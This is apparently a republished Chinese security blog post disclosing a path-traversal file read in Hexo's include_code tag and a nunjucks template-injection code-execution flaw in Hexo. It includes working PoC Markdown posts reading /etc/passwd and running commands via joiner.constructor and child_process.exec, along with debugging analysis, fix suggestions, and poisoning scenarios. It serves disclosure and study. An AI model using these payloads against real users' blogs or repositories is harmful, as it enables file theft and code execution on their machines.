hexo博客任意文件读取和代码执行漏洞
2023-7-25 22:33:15 Author: www.gem-love.com(查看原文) 阅读量:96 收藏

漏洞在2023.1.31发现并已提交给官方

Hexo一款博客系统,根据Markdown生成静态网页,我自己和我认识的很多师傅的博客都是用的hexo。

在一次偶然的SSTI相关文章的生成过程中,我发现他报了一个标签的错:

    578 | <p>但是,黑名单过滤了`{{` 

===== Context Dump Ends =====
at formatNunjucksError (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:171:13)
at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:246:36
at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31)
at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18)
at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10)
at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:725:18)
at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12)
at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9)
at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5)
at Async.drainQueues [as _onImmediate] (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14)
at process.processImmediate (node:internal/timers:471:21) {
line: 578,
location: '\x1B[35m_posts/****.md\x1B[39m [Line 578, Column 18]',
type: 'expected variable end'
}
} Something's wrong. Maybe you can find the solution here: %s https://hexo.io/docs/troubleshooting.html

说明hexo在根据Markdown文章生成静态页面时不单单做了Markdown的解析,还有标签的解析,那么是否存在安全风险呢?假设存在模板注入漏洞,攻击者就可以通过社工等手段诱导victim去渲染包含恶意代码的post/page的md源文件,或者做投毒,完成攻击的实施。

PS:本文只作为安全研究和学习交流之用,切勿用于非法用途,所发现的安全风险已全部通过相应渠道同步给了Hexo官方。

标签插件Tag Plugins

先翻下他的官方文档

标签插件和 Front-matter 中的标签不同,它们是用于在文章中快速插入特定内容的插件。
虽然你可以使用任何格式书写你的文章,但是标签插件永远可用,且语法也都是一致的。
标签插件不应该被包裹在 Markdown 语法中,例如: 是不被支持的。

说白了就是自定义一些标签来扩展markdown,当然也有一些标签功能是和Markdown重叠的,感觉有点多此一举,而且没有通用性,所以这应该是用得不多的原因。

漏洞分析

注意到有个include code标签,是用来插入代码文件中的代码的:

m1-152432_tTtM0Z

看一下源码,path从标签中直接匹配出来,然后没有做任何安全检查就做了路径拼接和文件读取:

m1-152613_ZBystk

PoC

---
title: test
date: 2023-01-31 14:30:55
tags:
---

include_code:
{% include_code ../../../../../../../etc/passwd %}

漏洞修复

https://github.com/y1nglamore/hexo/blob/a3e68e7576d279db22bd7481914286104e867834/lib/plugins/tag/include_code.js#L49

m1-152946_tOzXnv

漏洞分析

错误的分析方向

我最开始简单看了下代码发现有很多地方包含swig关键字,猜测大概是使用了swig模板引擎,之前正好是挖过swig,有任意读和RCE

分析文章: Swig模板引擎0day挖掘-代码执行和文件读取

但是发现用不了:

Template render error: (unknown path)
Error: template not found: ../../../../../../../etc/passwd
at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11)
at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19
at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11)
...

后来查了一下,hexo从5.0开始移除了对swig模板的支持,那就没法用了。不过在报错中有这样一句话很关键:

at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11)

是从nunjucks包中执行的,一个很蛋疼的事情是,我当时并不知道nunjucks实际上是一个模板引擎,以为是hexo实现的什么东西,于是决定尝试挖一挖。参考Hexo 如何在VS Code中调试Hexo的相关代码文章在项目中创建如下.vscode/launch.json,然后按F5即可启动调试。


{
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Hexo Deploy Direct",
"cwd": "${workspaceFolder}",
"runtimeArgs": [
"--nolazy"
],
"program": "./node_modules/hexo-cli/bin/hexo",
"args": [
"deploy",
"--debug"
],
"console": "internalConsole",
"outputCapture": "std"
}
]
}

include_code asset_img之类的挖了挖,XSS没考虑(没有意义),没挖到什么也没审出来什么有意思的点。

柳暗花明

一筹莫展之际想到了最开始的报错,是{{`报错,于是随便试了一个`{{123}}发现果然能行
m1-144254_jQlJuQ

于是我用swig的payload故技重施:

{{ Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}

但是报错了

Template render error: (unknown path)
Error: Unable to call `Object["constructor"]`, which is undefined or falsey
at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11)
at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19
at Template.root [as rootRenderFunc] (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:636:18), <anonymous>:18:3)
at Template.render (/path/to/myblog/node_modules/nunjucks/src/environment.js:552:10)
at Environment.renderString (/path/to/myblog/node_modules/nunjucks/src/environment.js:380:17)
at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:238:16
at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
at Promise.fromNode.Promise.fromCallback (/path/to/myblog/node_modules/bluebird/js/release/promise.js:209:30)
at Tag.render (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:237:20)
at Object.onRenderEnd (/path/to/myblog/node_modules/hexo/lib/hexo/post.js:426:22)
at /path/to/myblog/node_modules/hexo/lib/hexo/render.js:85:21
at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31)
at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18)
at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10)
at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:729:18)
at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12)
at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9)
at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5)
at Async.drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14)
at process.processImmediate (node:internal/timers:471:21)

Debug分析下,首先走到Environment.renderString(),调用Template.render()渲染模板
m1-151138_66DK0G

之后Template.render()会调用继续调用到Template._compile()方法,再走到compiler.compile()进行模板编译,为了方便调试这里我每次都手工把编译好后的函数写入到一个文件里
m1-153155_dZegOL

实际的编译过程比较繁琐:

c.compile(transformer.transform(parser.parse(processedSrc, extensions, opts), asyncFilters, name));
return c.getCode();
_proto.compile = function compile(node, frame) {
var _compile = this['compile' + node.typename];

if (_compile) {
_compile.call(this, node, frame);
} else {
this.fail("compile: Cannot compile node: " + node.typename, node.lineno, node.colno);
}
};

大概的意思是先做标签解析、语义分析,然后会调用compileXXXX()做代码的拼接,这里根据语义分析的不同而不同,比如函数就调用compileFunCall()
m1-155053_FRHofB

这里的意思是,调用的函数不能全局任意调用,而是需要去contextframe中去lookup找相应的方法来调用,这里的查找、调用等就用到runtime下的一些方法。这中间的分析跟一遍就好了,就是反复调用不知道怎么来描述,但是也不重要,我们直接回到Template._compile看最后编译完的source

m1-155639_aoXqLG

function root(env, context, frame, runtime, cb) {
var lineno = 0;
var colno = 0;
var output = "";
try {
var parentTemplate = null;
output += runtime.suppressValue((lineno = 0, colno = 106, runtime.callWrap((lineno = 0, colno = 21, runtime.callWrap(runtime.memberLookup((runtime.contextOrFrameLookup(context, frame, "Object")),"constructor"), "Object[\"constructor\"]", context, ["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"])), "the return value of (Object[\"constructor\"])", context, [])), env.opts.autoescape);
output += "\n";
if(parentTemplate) {
parentTemplate.rootRenderFunc(env, context, frame, runtime, cb);
} else {
cb(null, output);
}
;
} catch (e) {
cb(runtime.handleError(e, lineno, colno));
}
}
return {
root: root
};

之后就是用上述source创建匿名函数并调用,直接调用会返回{"root": root}props,于是641行的this.rootRenderFunc = props.root就是上面source里定义的function root(env, context, frame, runtime, cb)
m1-155804_zJ6m81

接着回到最初,Debug开始有提到说:

首先走到Environment.renderString(),调用Template.render()渲染模板。之后Template.render()会调用继续调用到Template._compile()方法。

现在Template._compile()就正式编译完成了,所以回到Template.render()接着走,会调用this.rootRenderFunc,也就是刚刚source里调用的root()

m1-160604_DpxLi7

核心函数分析

接着我们来分析这个编译好的root(),最核心的就是中间这一块比较难懂

m1-160838_NgkWG4

整理一下,然后由内向外执行

runtime.suppressValue(
(
lineno = 0,
colno = 106,
runtime.callWrap(
(
lineno = 0,
colno = 21,
runtime.callWrap(
runtime.memberLookup(
(
runtime.contextOrFrameLookup(context, frame, "Object")
),
"constructor"
),
"Object[\"constructor\"]",
context,
["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"]
)
),
"the return value of (Object[\"constructor\"])",
context,
[]
)
),
env.opts.autoescape
)

调试下可以发现runtime实际就是runtime.js定义的,比较简单:

function callWrap(obj, name, context, args) {

if (!obj) {
throw new Error('Unable to call `' + name + '`, which is undefined or falsey');
} else if (typeof obj !== 'function') {
throw new Error('Unable to call `' + name + '`, which is not a function');
}

return obj.apply(context, args);
}

function contextOrFrameLookup(context, frame, name) {

var val = frame.lookup(name);
return val !== undefined ? val : context.lookup(name);
}

function memberLookup(obj, val) {

if (obj === undefined || obj === null) {
return undefined;
}

if (typeof obj[val] === 'function') {
return function () {
for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
args[_key2] = arguments[_key2];
}

return obj[val].apply(obj, args);
};
}

return obj[val];
}

整个函数的逻辑是这样的:

m1-161906_Nma1nj

所以很明显,我们目前出错就出在了最里面第一步的runtime.contextOrFrameLookup(context, frame, "Object"),因为contenxtframe下都没有Object()

问题解决

了解了报错原因和最里层的原理,我们要做的只是去framecontext下找到一个函数,该函数的constructorFunction(),之后我们就可以来创建&调用任意函数了

首先的frame.lookup会找当前及父frame的variables,可惜什么都没找到

m1-164220_zfRMGG

接着看下context.lookup(),它会优先找context下的方法,如果没有则去this.env.globals下找

m1-163242_87T653

env.globals下面顺利的找到了3个函数:

m1-163552_dkE28F

于是payload就可以成功构造了。

PoC

hexo创建一个文章

---
title: test
date: 2023-01-31 14:30:55
tags:
---

{{ joiner.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}

生成的root函数的最核心部分:

runtime.callWrap(
(
lineno = 0,
colno = 21,
runtime.callWrap(
runtime.memberLookup(
(
runtime.contextOrFrameLookup(context, frame, "joiner")
),
"constructor"
),
"joiner[\"constructor\"]",
context,
["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"]
)
),
"the return value of (joiner[\"constructor\"])",
context,
[]
)

hexo generatehexo deployhexo server 都可以触发

m1-164008_iShot_2023-01-31_18.45.29

修复建议

禁用prototype __proto__ constructor属性的调用。

后记

后面去提漏洞才发现nunjucks是独立的模板引擎,和Hexo没有什么直接关系,而且在2016的一篇文章中就已经提出了这个payload,挖重复了就很蛋疼。看了看nunjucks的文档,它是一款类jinja2的模板,所以可能这个RCE的PoC也不会被修复而是被认为是正常特性,但是对于Hexo来讲还是有意义的。

因为Hexo生成的博客都是纯静态的,漏洞只发生在本地构建的过程中,风险整体可控,但仍有攻击面:

1.通过社工等手段,让受害者导入危险的md格式文章源文件,构建hexo时受到攻击。
2.做投毒:目前有很多开源的利用hexo gitbook等构建的wiki、漏洞库等,并且在github也收获了很多star,若投毒则用户克隆下来并本地构建时便会受到攻击。
3.很多机器人、水军站点会自动化爬取网络上的文章,转发到自己的站点上,那么它爬了我的有攻击payload的文章再本地生成则会收到影响。

Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.


文章来源: https://www.gem-love.com/2023/07/25/hexo%E5%8D%9A%E5%AE%A2%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
如有侵权请联系:admin#unsafe.sh